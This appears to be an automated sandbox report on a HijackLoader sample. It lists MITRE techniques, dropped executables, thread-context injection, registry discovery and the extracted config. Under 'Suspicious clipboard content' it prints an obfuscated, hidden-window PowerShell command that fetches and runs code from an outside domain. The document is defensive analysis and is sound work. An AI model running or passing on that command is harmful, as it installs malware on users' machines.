hijackloader | hxxps://bincheak[.]io

user interaction
yes
max time kernel
971s
max time network
973s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
15/06/2026, 14:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://bincheak.io
Sample260615-sa6mlaey7p

Score

10^/10

defense_evasion discovery execution hijackloader installer loader persistence privilege_escalation ransomware spyware trojan

Malware Config

Extracted

Family

hijackloader

Attributes

directory
%LOCALAPPDATA%\com_nt_firewall_v6_32
inject_dll
%windir%\SysWOW64\input.dll

xor.hex

Signatures

Family: HijackLoader, IDAT loader, Ghostulse,
HijackLoader is a multi-stage loader, first seen in 2023.
loader hijackloader

Detects HijackLoader (aka IDAT Loader) 1 IoCs

resource	yara_rule
behavioral2/files/0x0008000000028774-2635.dat	family_hijackloader

Badlisted process makes network request 11 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
66	5476	PowerShell.exe
93	5476	PowerShell.exe
141	5112	powershell.exe
380	5712	powershell.exe
386	3736	powershell.exe
388	5712	powershell.exe
389	3736	powershell.exe
399	7008	powershell.exe
414	7008	powershell.exe
428	3736	powershell.exe
632	6564	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
7008	powershell.exe
6564	powershell.exe
5112	powershell.exe
5712	powershell.exe
3736	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
893	1516	chrome.exe

Executes dropped EXE 20 IoCs

pid	Process
4076	CobalDecoder.exe
5040	CobalDecoder.exe
1556	CobalDecoder.exe
6848	CobalDecoder.exe
6840	CobalDecoder.exe
4172	CobalDecoder.exe
5708	CobalDecoder.exe
6616	CobalDecoder.exe
5112	CobalDecoder.exe
5176	CobalDecoder.exe
2264	CobalDecoder.exe
1952	CobalDecoder.exe
6660	CobalDecoder.exe
5156	CobalDecoder.exe
6996	CobalDecoder.exe
2148	processhacker-2.39-setup.exe
6340	processhacker-2.39-setup.tmp
5844	ProcessHacker.exe
5668	kprocesshacker.sys
6704	CobalDecoder.exe

Loads dropped DLL 64 IoCs

pid	Process
4076	CobalDecoder.exe
4076	CobalDecoder.exe
4076	CobalDecoder.exe
4076	CobalDecoder.exe
4076	CobalDecoder.exe
4076	CobalDecoder.exe
4076	CobalDecoder.exe
5832	Crisp.exe
5040	CobalDecoder.exe
5040	CobalDecoder.exe
5040	CobalDecoder.exe
5040	CobalDecoder.exe
5040	CobalDecoder.exe
5040	CobalDecoder.exe
1608	Crisp.exe
1556	CobalDecoder.exe
1556	CobalDecoder.exe
1556	CobalDecoder.exe
1556	CobalDecoder.exe
1556	CobalDecoder.exe
1556	CobalDecoder.exe
6848	CobalDecoder.exe
6848	CobalDecoder.exe
6848	CobalDecoder.exe
6848	CobalDecoder.exe
6848	CobalDecoder.exe
6848	CobalDecoder.exe
6840	CobalDecoder.exe
6840	CobalDecoder.exe
6840	CobalDecoder.exe
6840	CobalDecoder.exe
6840	CobalDecoder.exe
6840	CobalDecoder.exe
4956	Crisp.exe
6608	Crisp.exe
5688	Crisp.exe
4172	CobalDecoder.exe
4172	CobalDecoder.exe
4172	CobalDecoder.exe
4172	CobalDecoder.exe
4172	CobalDecoder.exe
4172	CobalDecoder.exe
5708	CobalDecoder.exe
5708	CobalDecoder.exe
5708	CobalDecoder.exe
5708	CobalDecoder.exe
5708	CobalDecoder.exe
5708	CobalDecoder.exe
1972	Crisp.exe
6616	CobalDecoder.exe
6616	CobalDecoder.exe
6616	CobalDecoder.exe
6616	CobalDecoder.exe
6616	CobalDecoder.exe
6616	CobalDecoder.exe
5656	Crisp.exe
5744	Crisp.exe
5112	CobalDecoder.exe
5112	CobalDecoder.exe
5112	CobalDecoder.exe
5112	CobalDecoder.exe
5112	CobalDecoder.exe
5112	CobalDecoder.exe
6708	Crisp.exe

Suspicious clipboard content. 1 IoCs

A suspicious script was copied to clipboard.

ioc	Process
powershell.exe -WiND MiNimiZ $VGI='ExportedCommands';$VNfr=IPMO 'M.P.U*' -Pass;$VNfr=$VNfr.$VGI.Values.Name;$EwJ=$VNfr[52];$rlXM=$VNfr[51];.$rlXM(.$EwJ finchish.com);$eHwCIeDCYmbvpcvNDjWbIiPTUYvDWwDDZFnuMRrwDiiifCEsEgzVStrmvJimnqOKbviwZTfpbuQjChiAXmJgDtx	firefox.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\taskschd.msc	mmc.exe

Suspicious use of SetThreadContext 64 IoCs

description	pid	Process	procid_target
PID 4076 set thread context of 5832	4076	CobalDecoder.exe	160
PID 5040 set thread context of 1608	5040	CobalDecoder.exe	164
PID 1556 set thread context of 4956	1556	CobalDecoder.exe	172
PID 6848 set thread context of 6608	6848	CobalDecoder.exe	175
PID 6840 set thread context of 5688	6840	CobalDecoder.exe	177
PID 4172 set thread context of 1972	4172	CobalDecoder.exe	185
PID 5708 set thread context of 5656	5708	CobalDecoder.exe	187
PID 6616 set thread context of 5744	6616	CobalDecoder.exe	190
PID 5112 set thread context of 6708	5112	CobalDecoder.exe	193
PID 5176 set thread context of 6756	5176	CobalDecoder.exe	196
PID 2264 set thread context of 6640	2264	CobalDecoder.exe	200
PID 1952 set thread context of 6632	1952	CobalDecoder.exe	203
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6520	3108	x64dbg.exe	204
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 6660 set thread context of 2376	6660	CobalDecoder.exe	207
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 6636	3108	x64dbg.exe	206
PID 3108 set thread context of 3748	3108	x64dbg.exe	213
PID 3108 set thread context of 3748	3108	x64dbg.exe	213
PID 3108 set thread context of 3748	3108	x64dbg.exe	213
PID 3108 set thread context of 3748	3108	x64dbg.exe	213
PID 3108 set thread context of 3748	3108	x64dbg.exe	213
PID 3108 set thread context of 3748	3108	x64dbg.exe	213
PID 3108 set thread context of 3748	3108	x64dbg.exe	213
PID 3108 set thread context of 3748	3108	x64dbg.exe	213
PID 3108 set thread context of 3748	3108	x64dbg.exe	213
PID 3108 set thread context of 3748	3108	x64dbg.exe	213

Drops file in Program Files directory 51 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Process Hacker 2\x86\plugins\DotNetTools.dll	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\x86\ProcessHacker.exe	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\plugins\ExtendedTools.dll	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\plugins\OnlineChecks.dll	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\plugins\is-5GU6B.tmp	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\dll\ntdll.pdb	ProcessHacker.exe
File opened for modification	C:\Program Files\Process Hacker 2\symbols\dll\wntdll.pdb	ProcessHacker.exe
File created	C:\Program Files\Process Hacker 2\plugins\is-Q7AFO.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\is-EAFHS.tmp	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\StubExecutable.pdb	ProcessHacker.exe
File opened for modification	C:\Program Files\Process Hacker 2\exe\StubExecutable.pdb	ProcessHacker.exe
File opened for modification	C:\Program Files\Process Hacker 2\ntdll.pdb	ProcessHacker.exe
File opened for modification	C:\Program Files\Process Hacker 2\ProcessHacker.exe	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\plugins\ToolStatus.dll	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\is-DKPJE.tmp	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\symbols\exe\StubExecutable.pdb	ProcessHacker.exe
File opened for modification	C:\Program Files\Process Hacker 2\wntdll.pdb	ProcessHacker.exe
File created	C:\Program Files\Process Hacker 2\plugins\is-C5MNF.tmp	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\plugins\SbieSupport.dll	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\plugins\Updater.dll	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\is-EBA9F.tmp	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\dll\wntdll.pdb	ProcessHacker.exe
File opened for modification	C:\Program Files\Process Hacker 2\plugins\UserNotes.dll	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\unins000.dat	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\is-TMM0N.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\plugins\is-6T0V4.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\plugins\is-HFJQR.tmp	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\symbols\dll\ntdll.pdb	ProcessHacker.exe
File opened for modification	C:\Program Files\Process Hacker 2\plugins\DotNetTools.dll	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\is-ONS61.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\is-QFVKK.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\is-V3VET.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\plugins\is-5OBK3.tmp	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\unins000.dat	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\plugins\ExtendedNotifications.dll	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\plugins\ExtendedServices.dll	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\peview.exe	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\plugins\HardwareDevices.dll	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\x86\plugins\is-72KUF.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\plugins\is-NT5EO.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\plugins\is-Q7V2C.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\plugins\is-A64AV.tmp	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\plugins\WindowExplorer.dll	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\is-7H0CF.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\is-Q5CD3.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\is-4KIFJ.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\x86\is-C04LJ.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\plugins\is-7AHC7.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\plugins\is-KLLGR.tmp	processhacker-2.39-setup.tmp
File created	C:\Program Files\Process Hacker 2\plugins\is-5DQAM.tmp	processhacker-2.39-setup.tmp
File opened for modification	C:\Program Files\Process Hacker 2\plugins\NetworkTools.dll	processhacker-2.39-setup.tmp

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	processhacker-2.39-setup.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crisp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	processhacker-2.39-setup.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1516	chrome.exe

Inno Setup is an open-source installation builder for Windows applications. 1 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/files/0x0007000000028a24-4845.dat	innosetup

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 58 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	ProcessHacker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ProcessHacker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134260097553133448"	chrome.exe

Modifies registry class 13 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-790078335-998561069-2208156648-988539944-4021756109-3505228477-4058360096	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-790078335-998561069-2208156648-988539944-4021756109-3505228477-4058360096\DisplayName = "Chrome Sandbox"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-790078335-998561069-2208156648-988539944-4021756109-3505228477-4058360096\Moniker = "fx.sb.cdmaead3483b5e3a557227b77554c4d4739fd53e90f"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-790078335-998561069-2208156648-988539944-4021756109-3505228477-4058360096\Children	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\fx.sb.cdmaead3483b5e3a557227b77554c4d4739fd53e90f	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-2058276091-3280583803-376660292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\fx.sb.cdmaead3483b5e3a557227b77554c4d4739fd53e90f\Children	firefox.exe

Modifies system certificate store 2 TTPs 8 IoCs

defense_evasion spyware trojan

